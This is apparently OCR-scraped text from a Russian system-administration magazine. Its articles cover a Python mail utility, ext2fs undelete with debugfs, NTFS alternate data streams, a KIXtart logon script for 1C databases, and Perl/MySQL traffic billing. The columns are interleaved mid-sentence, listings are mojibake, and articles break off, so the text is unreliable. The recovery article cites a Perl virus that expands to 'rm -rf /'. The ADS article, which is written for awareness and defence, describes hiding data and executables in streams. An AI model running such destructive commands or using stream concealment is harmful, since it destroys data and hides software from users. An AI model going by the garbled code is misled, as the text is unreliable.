filename = fp.read(centdir[_CD_FILENAME_LENGTH]) Кстати, эта утилита замечательно работает и в FreeBSD.
filename = unicode(filename, ↵ Нужно только подправить переменные в конфигурацион-
'cp866').encode(pymaconf.termcodepage)
ном файле, отвечающие за кодировку, и вместо создания
# Create ZipInfo instance to store bat-файла просто переименовать send.py в send, снабдив
# file information
x = ZipInfo(filename) его «магической» строчкой:
.. .. .. .. .. ..
#!/usr/local/bin/python
Теперь упакованные файлы сохраняют свои первона-
чальные имена при извлечении из архива, хотя должен при- Ну и не забыть сделать этот файл исполняемым и дос-
знать, что всесторонние исследования я не проводил и не тупным для поиска по переменной окружения PATH. На моем
могу гарантировать, что подобный «хакинг» останется без сервере, где используется koi8-r, строки файла конфигура-
последствий при другом использовании модуля. Я хотел ции, отвечающие за кодировки, выглядят таким образом:
лишь показать, что при желании исходные тексты стандар-
тных модулей всегда можно подогнать под свои нужды. Ëèñòèíã 11. Èçìåíåíèÿ â pymaconf.py äëÿ FreeBSD
Еще осталось сделать так, чтобы нашу утилиту можно basecodepage = 'cp1251'
было вызывать как «send», а не как «send.py». Для этого termcodepage = 'koi8-r'
mailcodepage = 'cp1251'
создадим bat-файл send.bat: fzipcodepage = 'cp1251'
fsyscodepage = 'koi8-r'
\myprogs\python\python \myprogs\utils\pyma\send.py %1 ↵
%2 %3 %4 %5 %6 %7 %8 %9
Кодировку сообщений в исходных текстах можно оста-
К сожалению, в нем мы вынуждены использовать пол- вить как есть (параметр basecodepage), единственное, в
ные пути к файлам, что потребует редактирования каждый этом случае имена упаковываемых файлов в диагностичес-
раз, когда нужно будет перенести утилиту в другое место. ких сообщениях будут нечитаемыми. Исправить это можно
Кроме того, сценарию send.py в данном примере может быть введением нескольких дополнительных перекодировок, но
передано только 9 параметров, что налагает ограничения их уже и без того достаточно.
на количество отправляемых за один раз файлов. Но зато На других платформах работоспособность утилиты не
командная строка стала выглядеть так, как нам хочется. проверялась, однако причин для проблем вроде бы ника-
Итак, мы получили небольшую утилиту, которая позво- ких нет, и если вашей системой поддерживается Python, то
ляет отправлять файлы по электронной почте непосред- должен работать и рассмотренный код.
КРИС КАСПЕРСКИ
Информации по восстановлению данных под Linux практи- реально. Однако если пользователь был зарегистрирован в
чески нет. Как будто у пользователей этой ОС данные не системе не как root, жертвами неосторожного эксперимента
исчезают. Исчезают, еще как! Ошибочное удаление файлов – оказывались «всего лишь» файлы из его домашнего ката-
достаточно распространенное явление, наверное, даже бо- лога. Поэтому в данной статье речь пойдет только о восста-
лее частое, чем в мире Microsoft. Под Windows большин- новлении отдельных, наиболее ценных файлов.
ство файловых операций осуществляется вручную с помо- Перефразируя Булгакова, можно сказать: мало того, что
щью «Проводника» или других интерактивных средств типа файл смертен, так он еще и внезапно смертен! Беда никог-
FAR. Интерактивные среды есть и в Linux (KDE, GNOME, да не предупреждает о своем приходе, и администратору
Midnight Commander), но есть там и поклонники командной приходится быть постоянно начеку. Несколько секунд на-
строки, а командная строка – это регулярные выражения и зад все было хорошо: цвела весна, винчестер оживленно
скрипты, то есть автоматизированные средства управле- стрекотал всеми своими головками, администратор отхле-
ния – мощные, удобные, и… разрушительные. Малейшая бывал кофе из черной кружки с надписью root, раздумы-
небрежность их проектирования и… прощай, мои файлы! вая: то ли поиграть в DOOM, то ли поболтать с секретар-
Помнится, год-два назад по сети распространялся «Албанс- шей, как вдруг… бабах! Сотни гигабайт ценнейших данных
кий вирус». То тут, то там на форумах появлялись сообще- разлетелись на мелкие осколки. Все силы брошены на раз-
ния с просьбой объяснить, что делает очень запутанный код гребания завалов и спасения всех, кого еще можно спасти.
на Perl. Задетые за живое гуру, поленившись вникнуть в его
суть, просто запускали непонятную программу на выполне- Инструментарий
ние... и напрасно! Посредством нетривиальных подстановок Программ, пригодных для восстановления данных, под Linux
строковая конструкция разворачивалась в «rm -rf /»! Восста- совсем немного, намного меньше, чем под Windows NT, да
новить весь корневой каталог под ext2fs, а тем более ext3fs и тем до совершенства как до Луны. Но ведь не разрабаты-
очень и очень сложно. Можно даже сказать, практически не- вать же весь необходимый инструментарий самостоятель-
36
администрирование
но?! Будем использовать то, что дают, утешая себя мыс- удобно (привычный интерфейс и все такое), с другой – ни
лью, что нашим предкам, работающим на динозаврах ма- Disk Editor, ни NT Explorer не поддерживают ext2fs/ext3fs, и
шинной эры, приходилось намного сложнее. все структуры данных приходится декодировать вручную.
Подготовка к восстановлению
Прежде чем приступать к восстановлению, обязательно раз-
монтируйте дисковый раздел или на худой конец перемон-
тируйте его в режим «только на чтение». Лечение актив-
ных разделов зачастую только увеличивает масштабы раз-
рушения. Если восстанавливаемые файлы находятся на ос-
новном системном разделе, у нас два пути – загрузиться с
LiveCD или подключить восстанавливаемый жесткий диск
на Linux-машину вторым.
Чтобы чего-нибудь не испортить, никогда не редакти-
руйте диск напрямую. Работайте с его копией, которую мож-
но создать командой:
1
Обзор дистрибутива Knoppix смотрите на стр. 4-6. (Прим. ред.)
2
Обзор дистрибутива Frenzy – в статьях Александра Байрака «Безумный чертёнок», №1, 2004 г. и «Frenzy: FreeBSD в кармане сисадмина»
Сергея Можайского в №2, 2004 г.
38
администрирование
Восстановление удаленных файлов Ëèñòèíã 2. Ôîðìàò ïðåäñòàâëåíèÿ inode
на ext2fs
Ext2fs все еще остается базовой файловой системой для
многих Linux, поэтому рассмотрим ее первой. Концепции,
которые она исповедует, во многом схожи с NTFS, так что
культурного шока при переходе с NTFS на ext2fs с нами не
случится.
Подробное описание структуры хранения данных ищите
в документе «Design and Implementation of the Second
Extended Filesystem», а также книге Э. Таненбаума «Operating
Systems: Design and Implementation» и статье В. Мешкова
«Архитектура файловой системы ext2», опубликованной в
журнале «Системный администратор», №11, 2003 г. Исход-
ные тексты дисковых утилит (драйвер файловой системы, Первые 12 блоков, занимаемых файлом, хранятся не-
lde, debugfs) также не помешают. посредственно в самом inode в массиве DIRECT BLOCKS
(непосредственные блоки для наглядности выделены по-
Структура файловой системы лужирным шрифтом). Каждый элемент массива представ-
В начале диска расположен boot-сектор (на незагрузочных ляет собой 32-битный номер блока. При среднем значении
разделах он может быть пустым). За ним по смещению BLOCK_SIZE в 4 Кб DIRECT BLOCK могут адресовать до
1024 байта от начала первого сектора лежит суперблок 4 * 12 = 48 Кб данных. Если файл превышает этот размер,
(super-block), содержащий ключевую информацию о струк- создаются один или несколько блоков косвенной адресации
туре файловой системы. (В FAT и NTFS эта информация (INDIRECT BLOCK). Первый блок косвенной адресации
хранится непосредственно в boot). (1x INDIRECT BLOCK или просто INDIRECT BLOCK) хранит
В первую очередь нас будет интересовать 32-разрядное ссылки на другие непосредственные блоки. Адрес этого бло-
поле s_log_block_size, расположенное по смещению 18h байт ка хранится в поле i_indirect_block в inod. Как легко посчи-
от начала супер-блока. Здесь хранится размер одного блока тать, он адресует порядка BLOCK_SIZE/sizeof(DWORD) *
(block), или в терминологии MS-DOS/Windows кластера, вы- BLOCK_SIZE = 4096/4 *4 Мб данных. Если этого вдруг ока-
раженный в виде показателя позиции, на которую нужно жется недостаточно, создается дважды косвенный блок
сдвинуть число 200h. В естественных единицах это будет (2x INDIRECT BLOCK или DOUBLE INDIRECT BLOCK), хра-
звучать так: block_size = 200h << s_log_block_size (байт). То нящий указатели на косвенные блоки, что позволяет адре-
есть если s_log_block_size равен нулю, размер одного бло- совать (BLOCK_SIZE/sizeof(DWORD))**2* BLOCK_SIZE =
ка составляет 400h байт или два стандартных сектора. 4096/4 ** 4096 = 4 Гб данных. Если же этого все равно недо-
статочно, создается трижды косвенный блок (3x INDIRECT
Ëèñòèíã 1. Ñòðóêòóðà äèñêîâîãî òîìà, ðàçìå÷åííîãî ïîä ext2fs BLOCK или TRIPLE INDIRECT BLOCK), содержащий ссыл-
ки на дважды косвенные блоки (на данном рисунке трижды
косвенный блок не показан).
Отметим, что по сравнению с NTFS такая схема хране-
ния информации о размещении гораздо проще устроена,
но вместе с тем и прожорлива. Однако она обладает одним
несомненным достоинством, которое оставляет NTFS да-
леко позади. Поскольку все ссылки хранятся в неупакован-
ном виде, для каждого блока файла мы можем быстро най-
ти соответствующий ему косвенный блок, даже если inode
полностью разрушен.
40
администрирование
Восстановление при помощи debugfs Говорим отладчику «dump <INODE> dir_file», где INODE –
Загружаем в отладчик редактируемый раздел или его ко- номер сообщенного нам индексного дескриптора, dir_file –
пию, «debugfs my_dump» или «debugfs /dev/sdb1». Если мы имя файла на родной файловой системе, в которую будет
планируем осуществлять запись на диск, необходимо ука- записан дамп. Загружаем полученный дамп в hex-редак-
зать ключ «-w» («debugfs -w my_dump» или «debugfs -w /dev/ тор и просматриваем его содержимое в «сыром» виде. Все
sdb1». Чтобы просмотреть список удаленных файлов, даем имена будут там. При желании можно написать утилиту-
команду «lsdel» (или «lsdel t_sec», где t_sec – количество се- фильтр, выводящую только удаленные имена. На Perl это
кунд, прошедшее с момента удаления файла). Экран запол- не займет и десяти минут.
няется списком удаленных файлов. Естественно, без имен. А как быть, если материнская директория тоже постра-
Файлы, удаленные более чем t_sec секунд назад (если sec дала? Тогда она и будет помечена удаленной! Выводим
задан), в этот список не попадают. список удаленных inodе, отбираем из них директории, фор-
Команда «cat <N>» выводит содержимое текстового мируем перечень принадлежащих им блоков и записыва-
файла на терминал, где <N> – номер inode, заключенный в ем дамп в файл, просматриваемый вручную или с помо-
угловые кавычки. При выводе двоичных файлов на экране щью утилиты-фильтра. Как уже отмечалось, порядок рас-
творится черт знает что, и такие файлы должны сбрасы- положения файлов в списке inodе очень часто совпадает с
ваться в дамп командой «dump <N> new_file_name», где порядком расположения файлов в директории, поэтому
«new_file_name» – новое имя файла (с путем), под которым восстановление оригинальных имен в четырех из пяти слу-
он будет записан в родную (native) файловую систему, т.е. чаев проходит на ура.
ту файловую систему, на которой был запущен debugfs. При тяжких разрушениях, когда восстанавливаемый
Файловая система восстанавливаемого раздела при этом файл приходится собирать по кусочкам, помогает команда
остается неприкосновенной. Другими словами, наличие «dump_unused», выводящая на терминал все неиспользуе-
ключа «-w» для этого не требуется. мые блоки. Имеет смысл перенаправить вывод в файл, за-
При желании можно «реанимировать» файл непосред- пустить hexedit и покопаться в этой куче хлама – это, по
ственно на самой восстанавливаемой файловой системе (что крайней мере проще, чем лазить по всему диску (на дис-
особенно удобно при восстановлении больших файлов). ках, заполненных более чем на три четверти, данный трюк
В этом нам поможет команда «undel <N> undel_file_name», сокращает массу времени).
где undel_file_name – имя, которое будет присвоено файлу Вывод: debugfs в значительной мере автоматизирует
после восстановления. Внимание! Когда будете это делать, восстановление удаленных файлов (впрочем, до полного
помните, что команда undel крайне агрессивна и деструк- комфорта ему далеко), однако восстановить файл с разру-
тивна по своей природе. Она затирает первую свободную шенным inode он не способен и без lde здесь не обойтись.
запись в таблице директорий, делая восстановление ориги-
нальных имен невозможным! Восстановление при помощи R-Studio
Команда «stat <N>» отображает содержимое inode в Утилита R-Studio for NTFS, уже рассмотренная нами в пре-
удобочитаемом виде, а команда «mi <N>» позволяет редак- дыдущих номерах журнала, вопреки своему названию, под-
тировать их по своему усмотрению. Для ручного восстанов- держивает не только NTFS, но и ext2fs/ext3fs.
ления файла (которого не пожелаешь и врагу) мы должны
установить счетчик ссылок (link count) в единицу, а время
удаления (deletion time), наоборот, сбросить в нуль. Затем
отдать команду «seti <N>», помечающую данный inode как
используемый, и для каждого из блоков файла выполнить
«setb X», где X – номер блока (перечень блоков, занимае-
мых файлов, можно подсмотреть командой stat, причем в
отличие от lde она отображает не только непосредствен-
ные, но и косвенные блоки, что несравненно удобнее). Ос-
тается только дать файлу имя, что осуществляется путем
создания каталожной ссылки (directory link), а делает это
команда «ln <N> undel_file_name», где undel_file_name –
имя, которое будет дано файлу после восстановления, при
необходимости с путем. (Внимание! создание каталожных
ссылок необратимо затирает оригинальные имена удален-
ных файлов). После этого полезно дать команду «dirty»,
чтобы файловая система была автоматически проверена Ðèñóíîê 6. Óòèëèòà R-Studio for NTFS âîññòàíàâëèâàåò
при следующей загрузке, или выйти из отладчика и вруч- óäàëåííûå ôàéëû íà ext2fs ðàçäåëå. Ôàéëû åñòü, íî íåò èìåí
ную запустить fsck с ключом «-f», форсирующим проверку. С точки зрения неквалифицированных пользователей это
Теперь перейдем к восстановлению оригинального име- хорошее средство для автоматического восстановления
ни. Рассмотрим простейший случай, когда директория, со- удаленных файлов: интуитивно-понятный интерфейс, про-
держащая удаленный файл (также называемая материнс- стое управление и прочие прелести прогресса. Файлы вос-
кой директорией) все еще цела. Даем команду «stat dir_ станавливаются несколькими щелчками. Правда, без имен
name» и запоминаем номер inode, который нам сообщат. и без каких-либо гарантий, что они вообще восстановятся.
42
bugtraq
ИСПОЛЬЗОВАНИЕ АЛЬТЕРНАТИВНЫХ
ПОТОКОВ ДАННЫХ
Когда армия сталкивается с оврагами и ущельями, заболоченной
местностью с тростником и высокой травой, горными лесами
или густым и спутанным кустарником, необходимо тщательно
прочесать их, ибо там могут быть спрятаны засады и шпионы…
Стратегия ведения войны такова: не полагайся на то, что враг
не придет, полагайся на средства, которыми располагаешь, чтобы
принять его. Не полагайся на то, что враг не нападет; полагайся
на то, чтобы наши позиции были неуязвимы для нападения…
Поэтому сказано, что тот, кто знает врага и знает себя, не окажется
в опасности и в ста сражениях. Тот, кто не знает врага, но знает
себя, будет то побеждать, то проигрывать. Тот, кто не знает
ни врага, ни себя, неизбежно будет разбит в каждом сражении…
«Искусство войны»
Сунь-Цзы
МАКСИМ КОСТЫШИН
Возможность использования альтернативных потоков дан- мы обнаружим в редакторе текст, который мы только что
ных (Alternate Data Streams – ADS) заложена в файловой набирали и сохранили в ADS.
системе NTFS и поддерживается операционными система- Подтвердить наличие альтернативного потока можно
ми Microsoft Windows 2000 и выше. Специфика ADS заклю- также, если в «Проводнике» попытаться скопировать файл
чается в том, что c файлами и каталогами могут ассоции- test.txt на носитель с файловой системой, отличной от NTFS
роваться дополнительные наборы данных, информация о (например, на дискету). При этом на экран будет выдано
которых и само содержимое, вообще говоря, недоступны с предупреждение о том, что копия файла на дискете не бу-
помощью стандартных утилит и встроенных команд опера- дет содержать данных ADS.
ционной системы Microsoft Windows.
Изложение основных подходов работы с альтернатив-
ными потоками построено на конкретных примерах. Также
в статье приводится сравнительный обзор специализиро-
ванных утилит, позволяющих производить поиск файлов,
содержащих ADS, а также выполнять операции с инфор-
мацией, хранимой в потоках.
44
администрирование
для определения имени альтернативного потока. В этой Просмотреть данные ADS в Microsoft Word нам удалось
связи выполнение файловых операций для ADS стандарт- лишь в режиме «только чтение», закрыв все приложения
ными командами операционной системы затруднительно. указанного редактора, переименовав файл test.txt в test
Вместе с тем вывод на экран содержимого test.txt:boot.ini (исключив из имени файла расширение), выполнив следу-
можно выполнить при помощи следующей команды: ющую команду:
Для удаления всех имеющихся для файла альтернатив- Сохранить изменения при работе WinWord с данными
ных потоков можно воспользоваться следующим набором потока невозможно в связи с тем, что в программе реали-
операций: зован жесткий контроль имен файлов для сохранения ин-
формации.
ren temp.txt test.txt Что касается возможностей других распространенных
type temp.txt > test.txt
del temp.txt составляющих Microsoft Office, то проверка показала пол-
нофункциональные возможности обработки базы данных,
Использование стандартной команды copy для temp.txt в сохраненной в потоке, для Access.
файловой системе NTFS позволяет создать точную копию Особенности для операций открытия и сохранения из-
файла, которая будет содержать поток исходного файла. менений электронной таблицы, содержащейся в ADS, с
Особо следует обратить внимание на то, что в файло- помощью Microsoft Excel аналогичны тем, что были указа-
вой системе NTFS возможности создания ADS применимы ны выше для Microsoft Word.
как к файлам, так и к любым каталогам:
Запуск программ, сохраненных
md C:\example в альтернативном потоке данных
type C:\example.txt > c:\example:example.txt
Запустить обычным способом программы, сохраненные в
или просто: ADS, не удастся. Однако как вариант можно применить ко-
манду start.
type C:\example.txt > c:\:example.txt Поместим программу WordPad.exe в альтернативный
поток файла example.txt с одноименным названием:
46
администрирование
рокие возможности как в плане организации секретного
хранения на жестком диске конфиденциальных данных вла-
дельца компьютера, так и сохранения информации, не сан-
кционированного хозяином.
В потоках могут содержаться текстовые документы, таб-
лицы Excel и другие типы информации, которые можно об-
рабатывать как обычные файлы, без предварительного из-
влечения.
В ADS могут храниться и запускаться на выполнение ис-
полняемые модули. При этом информация в отношении име-
ни запущенного модуля, отображаемого стандартными сред-
ствами операционной системы, может вводить в заблужде-
ние относительно выполняемой процессором программы.
При копировании файлов и каталогов, содержащих по-
токи, на стандартные съемные носители, которые обычно
имеют файловую систему, отличную от NTFS, данные по-
NTFS Streams Info (http://www.isgeo.kiev.ua/shareware/ токов не будут продублированы.
index.html) – программа, рекомендуемая автором статьи, Известны факты использования возможностей ADS как
предусматривает всю необходимую функциональность для разработчиками вирусов и троянских утилит (в качестве
поиска и исследования альтернативных потоков данных. примера можно указать Trojan.Comxt.B), так и авторами
Лицензия программы определена как условно бесплатная и известных антивирусных программ.
предоставляет возможность демонстрационного использо- При использовании специальных программных средств
вания в течение 30 дней, помещая в раздел реестра, описы- для организации защиты компьютеров необходимо учиты-
вающего настройки программного обеспечения, параметр вать то обстоятельство, что разработчиками программ мог-
со значением даты начала использования программы. ли либо вообще не учитываться возможности поддержки ADS
в файловой системе NTFS, либо быть допущены ошибки.
Например, для ряда перечисленных выше специализи-
рованных утилит работы с альтернативными потоками дан-
ных не проверялось наличие ADS для каталогов и, в част-
ности, для корневого каталога.
Кроме того, при тестировании некоторых программ для
гарантированной очистки было обнаружено, что при выпол-
нении операции удаления файла, содержащего альтерна-
тивные потоки, не затирается информация, содержащаяся
в ADS. Вместе с тем, особых проблем в этом нет, так как
пользователи, применяющие средства гарантированного
удаления, как правило, используют возможности очистки
не занятого файлами и каталогами пространства диска,
которые уничтожают оставшиеся следы ADS не до конца
удаленных специфических файлов и каталогов.
Программа позволяет искать файлы, содержащие ADS,
выполнять над альтернативными потоками различные опе- Материалы:
рации (удалять и создавать новые, помещать в ADS данные 1. «Альтернативные потоки данных NTFS», Дон Паркер,
из заданного файла, извлекать данные потоков в файл). перевод Владимир Куксенок, http://www.securitylab.ru/
Ниже приводится предопределенный и накапливаемый 53136.html.
в утилите список названий потоков. 2. «Прикладная информационная безопасность шаг за ша-
гом», Сергей Гринкевич, http://www.securitylab.ru/
52764.html.
3. «Подготовка и использование аварийного набора», Матт
Леско, Журнал «Windows IT Pro», #08, 2004 год // Изда-
тельство «Открытые системы», http://www.osp.ru/
win2000/2004/08/042.htm.
4. «Hidden Threat: Alternate Data Streams», Ray Zadjmool,
http://lib.training.ru/Lib/ArticleDetail.aspx?ar=5312&l=n&mi=
1326&mic=1337.
5. «FAQ: Alternate Data Streams in NTFS», http://www.hey
Вместо эпилога soft.de Frames/f_faq_ads_en.htm.
Подведем некоторые итоги по материалу, изложенному 6. «How To Use NTFS Alternate Data Streams», http://support.
выше. Альтернативные потоки данных предоставляют ши- microsoft.com/default.aspx?scid=kb;en-us;Q105763&sd=tech.
АВТОМАТИЗАЦИЯ ПРОЦЕССА
ПОДКЛЮЧЕНИЯ БАЗ 1С
С ПОМОЩЬЮ СЦЕНАРИЯ
РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ
В СЕТИ
ИВАН КОРОБКО
В крупных организациях, где штат бухгалтерии насчитыва- основе данных из реестра – список подключенных баз. За-
ет не один десяток человек и одновременно эксплуатиру- тем, изменяя ветвь реестра HKCU (HKEY_CURRENT_USER),
ется несколько баз 1С версии 7.7, актуальна проблема ав- осуществляется сопоставление созданных списков: подклю-
томатизированного управления подключением бухгалтер- чаются недостающие базы и отключаются лишние.
ских баз. В статье речь пойдет о том, как с помощью сцена-
рия регистрации пользователей в сети подключить бухгал- Сценарий регистрации
теру только те базы, с которыми он работает. пользователей в сети
Для создания сценария рекомендуется использовать KIXTart
Основная идея (http://kixtart.org), поскольку он является наиболее подходя-
Подключение баз основано на членстве учетных записей щим для решения поставленной задачи.
пользователей в соответствующих группах безопасности, Сценарий регистрации условно можно разделить на не-
находящихся в Active Directory, которые удовлетворяют не- сколько логических частей:
скольким условиям: ! подключение сетевого диска;
! Название группы состоит из 2 частей – префикса, кото- ! формирование списка баз, которые должны быть под-
рый у всех групп одинаковый, и собственно названия груп- ключены;
пы. Оно совпадает с названием каталога, в котором фи- ! формирование списка баз, которые подключены в на-
зически находится подключаемая база 1С. стоящее время;
! Значением поля «Description» является название базы ! сопоставление сформированных списков, запись дан-
1С, отображаемое в меню, которое появляется после ных в реестр рабочей станции.
запуска оболочки 1С (см. рис. 1).
Подключение сетевых дисков
Во время входа в сеть от имени пользователя запуска- Доступ к базам, расположенным на сервере, рекомендует-
ется сценарий регистрации пользователей в сети, который ся осуществлять с помощью подключения сетевого диска.
во время своей работы составляет два списка баз. Один из Для этого необходимо знать два параметра: букву, к кото-
них – список подключаемых баз. Он формируется на основе рой будет монтироваться ресурс, и UNC-путь к нему.
данных из Active Directory. Второй список формируется на Все задаваемые вручную параметры принято выносить
48
администрирование
в конфигурационный файл. KIXTart обладает встроенной где value – возвращаемое значение параметра key разде-
поддержкой INI-файлов, которые удобно использовать в ка- ла section файла file_name. Подключение сетевого диска
честве конфигурационных файлов. INI-файл представляет выглядит следующим образом:
собой текстовый файл, имеющий следующую структуру:
$FName=”config.ini”
[ðàçäåëM] $Section=”1C”
ïàðàìåòð1M=çíà÷åíèå1M $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵
“1C_Letter”) ;÷òåíèå ïàðàìåòðà 1C_Letter
ïàðàìåòð2M =çíà÷åíèå2M $1C_Path_Val = ReadProfileString($FName, $Section, ↵
……………………….
ïàðàìåòðNM=çíà÷åíèåNM “1C_Path”) ; ÷òåíèå ïàðàìåòðà 1C_Path
; îòêëþ÷åíèå ñåòåâîãî äèñêà
Use $1C_Letter_Val + ":" /delete /persistent
Создадим конфигурационный файл config.ini со следу- ; ïîäêëþ÷åíèå ñåòåâîãî äèñêà
ющим содержимым: Use $1C_Letter_Val + ":" $1c_Path_Val
[1C]
1C_Letter=R
1C_Path=\\Server\1C_Bases$ Формирование списка подключаемых баз
Список подключаемых баз формируется на основе член-
Чтение конфигурационного файла осуществляется с по- ства учетных записей пользователей в соответствующих
мощью функции ReadProfileString(): группах безопасности. Как отмечалось ранее, в названиях
этих групп присутствует префикс, который также необхо-
value=ReadProfileString ("file_name", "section", "key") димо указать в конфигурационном файле:
Ðèñóíîê 1
Поскольку сценарий загрузки запускается от имени поль- Оба варианта имеют право на жизнь, и скорость их ра-
зователя, который осуществляет вход в сеть, то нет необ- боты примерно одинакова, однако рекомендуется исполь-
ходимости осуществлять поиск необходимых групп среди зовать второй вариант, несмотря на то что он выглядит гро-
всех групп домена с помощью ADODB. Рационально вос- моздким. Дело в том, что провайдер WinNT был разрабо-
пользоваться встроенной функцией в KIXTart EnumGroup(), тан для Windows NT, а LDAP – для Windows 2000. В бли-
которая возвращает список групп, в которые входит теку- жайшем будущем, компания Microsoft, наверное, откажет-
щий пользователь, и из этого списка отобрать группы, име- ся от поддержки провайдера WinNT.
ющие оговоренный префикс: Таким образом, сценарий, формирующий массив, эле-
менты которого включают в себя путь и название базы, выг-
… лядит следующим образом:
$meta = ReadProfileString($FName, $Section, “1C_Symbol”)
$p=0
DO $meta = ReadProfileString($FName, $Section, “1C_Symbol”)
$group=EnumGoup($p) $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵
If Instr($group, $meta)<>0 “1C_Letter”)
? $group
End if Set rootDSE_ = GetObject("LDAP://RootDSE")
UNTIL Len($group)=0 d_def=rootDSE_.Get("defaultNamingContext")
long_Ldap_name = "LDAP://" + d_def
Значение переменной $group строится в соответствии $p=0
со следующим шаблоном: Domain\Group_Name, поэтому для $q=0
Dim $1C_Must[]
формирования пути к каталогу необходимо вычленить со- DO
ставляющую Group_Name. Листинг, формирующий полный $group=EnumGoup($p)
If Instr($group, $meta)<>0
путь к каталогу, содержащего базу 1C, следующий:
$1C_Group=Right($group, ↵
$1C_Letter_VaL = ReadProfileString($FName, $Section, ↵ Len(group)-InstrRev($group,”\”)-Len($meta))
“1C_Letter”) ;âèä ïåðåìåííîé R:\Folder_with_Base
$1C_Base=$1C_Letter_VaL+”:\”+$1C_Group
$1C_Group=Right($group, ↵
Len(group)-InstrRev($group,”\”)-Len($meta))
; âèä ïåðåìåííîé R:\Folder_with_Base $strADSQuery = "SELECT description FROM ↵
'LDAP://" + $long_Ldap_name + "' ↵
$1C_Base=$1C_Letter_VaL+”:\”+$1C_Group WHERE Name = "' + $1C_Group + "' and objectClass='group'"
$objADOConn = createObject("ADODB.Connection")
Второй частью элемента формирующегося массива яв- $objADOConn.Provider = "ADsDSOObject"
$objADoConn.Open ("Active Directory Provider")
ляется описание группы. Чтение этого свойства можно ре- $objADOCommand = CreateObject("ADODB.Command")
ализовать как с помощью провайдера WinNT, так и LDAP. $objADOCommand.ActiveConnection = $objADOConn
$objADOCommand.CommandText = $strADSQuery
Приведем оба варианта. Для доступа к объекту AD необхо- $objQueryResultSet = $objADOCommand.Execute
димо либо указать имя домена в явном виде, либо создать $1C_Group_Descr =$objQueryResultSet.Fields("description")
сценарий для определения текущего домена. По понятным ; ïåðåîïðåäåëåíèå ðàçìåðà äèíàìè÷åñêîãî ìàññèâà
причинам, указывать имя домена в явном виде некоррект- Redim Preserve $1C_Must[$q]
$1C_Must[$q]= UCase($1C_Base)+$meta+$1C_Group_Descr
но, поэтому создадим сценарий для определения длинного $q=$q+1
(используется провайдером LDAP) и короткого (использу- End if
$p=$p+1
ется провайдером WinNT) имен доменов: UNTIL Len($group)=0
50
администрирование
Must[$q]. Ветвь реестра, из которой будет читаться инфор- $group=$1c_must[$dfg]
мация, рекомендуется описать в конфигурационном фай- WriteValue ($1c_Path, Left($group, ↵
Instrrev($group,$meta)-1), Right($group, ↵
ле (см. рис. 1): Len($group)-Instrrev($group, $meta) - Len($meta)+1), ↵
"REG_SZ")
endif
[1C] next
; ïî óìîë÷àíèþ âåòâü HKCU
1C_Registry=Software\1c\1cv7\7.7\Titles
САГА О БИЛЛИНГЕ,
ИЛИ СЧИТАЕМ ТРАФИК НА FreeBSD
(ng_ipacct + Perl + MySQL)
ЧАСТЬ 2
ВЛАДИМИР ЧИЖИКОВ
В предыдущей части статьи мы рассмотрели, как устано- #!/usr/bin/perl -w
вить и запустить ng_ipacct, а также рассмотрели создание use DBI;
use Time::localtime;
своих собственных скриптов для запуска и остановки раз-
рабатываемой системы учета трафика. Последний у вас должен быть по умолчанию в системе,
Дальнейшая цель – получить статистику и поместить ее а вот наличие DBI необходимо проверить. Самый простой
в базу. Что нам для этого нужно? В первой части статьи, способ – отправить на исполнение скрипт уже в таком виде.
когда описывался ng_ipacct, указывалось, что для снятия Выдаст ошибку – значит, отсутствует или не соответствует
статистики необходимо последовательно проделать следу- текущей версии perl (например, вы обновили perl, а все со-
ющее: передать данные в checkpoint-базу, потом вывести путствующие модули нет).
данные при помощи show (перенаправить в файл) и очис- Что ж, это поправимо:
тить checkpoint для получения следующей порции данных.
Таким образом, мы сразу же определили, что нам нуж- # cd /usr/ports/databases/p5-DBI/
# make && make install && make clean && rehash
но сложить статистику в файл при помощи перенаправле- # cd /usr/ports/databases/p5-DBD-mysql
ния вывода show. А после этого, уже считывая из файла # make && make install && make clean && rehash
данные, отправить в базу. Для того чтобы не было смеши-
вания всех интерфейсов в одном файле, мы также должны Если у вас стоит MySQL не 3.23 версии, а 4 и выше, то
условиться заранее, что для каждого интерфейса будет выберите соответствующий вариант вместо p5-DBD-mysql.
создан свой собственный файл статистики, а также один После этого можно смело приступать к дальнейшим мани-
общий, куда будет складываться статистика со всех интер- пуляциям.
фейсов. В этих файлах будет указано имя хоста, время по- Для подключения к базе данных нужно снова считать
лучения порции записей, дата и самое главное – интер- конфигурационный файл и все параметры, необходимые
фейс. Почему так акцентируется внимание на интерфейсе? для того, чтобы выяснить:
Очень просто. У нас могут быть каналы на одной машине, ! какие интерфейсы подключены;
где локальный трафик считается, а также где он бесплат- ! имя сервера базы данных;
ный. Учесть нам необходимо платный. Соответственно нуж- ! имя базы данных;
но знать, какой интерфейс принял или отправил пакет. ! имя и пароль пользователя для доступа к базе.
Что ж, основная установка сделана. Остальное – по ходу
повествования. Все это описано в конфигурационном файле (смотрите
Для начала создадим две вещи: базу, куда будут запи- первую часть статьи в №2, 2005 г.). Но сначала опять нуж-
сываться данные, и папку, где будут располагаться времен- но задать основные переменные.
ные файлы со статистикой интерфейсов.
# Ñïèñîê îñíîâíûõ ïåðåìåííûõ
mysql> create database ng_stat; my $serverdb = "test";
Query OK, 1 row affected (0.04 sec) my $dbname = "test";
mysql> grant insert,create,update,select,delete on ng_stat.*
my $dbuser = "test";
my $dbpass = "test";
to nguser@'%' identifiedby 'ngpassword'; my $table_auth = "test";
Query OK, 0 rows affected (0.08 sec) my $table_proto = "test";
my $listen_host = "test";
Одновременно были даны права пользователю nguser my @listen_interf;
на добавление, обновление, удаление записей и их выбор- my @ng_modules;
my $ng_modules_def = "netgraph,ng_ether,ng_socket, ↵
ку, а также на создание таблиц. ng_tee,ng_ipacct";
Итак, вновь возвращаемся к написанию скриптов: my $threshold = 5000;
my $ipacct_log = '/usr/local/script/ng_stat/log/ng.log';
# touch ng_stat_in.pl Некоторые из них нам не потребуются. Но это удобная
заготовка для всех скриптов. Мы по очереди вносим необ-
И начинаем вносить данные. Первым делом необходи- ходимые параметры, всего лишь модернизируя уже имею-
мо подключить два модуля perl, которые будут использо- щийся скрипт. «Лишние» переменные можно будет убрать
ваться: на этапе отладки.
52
администрирование
Самое важное в этом списке «my $ipacct_log = “/usr/local/ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME
script/ng_stat/log/ng.log”» – мы указали расположение основ- exec "/usr/local/sbin/ipacctctl ↵
$interface\_ip_acct:$interface show >> ↵
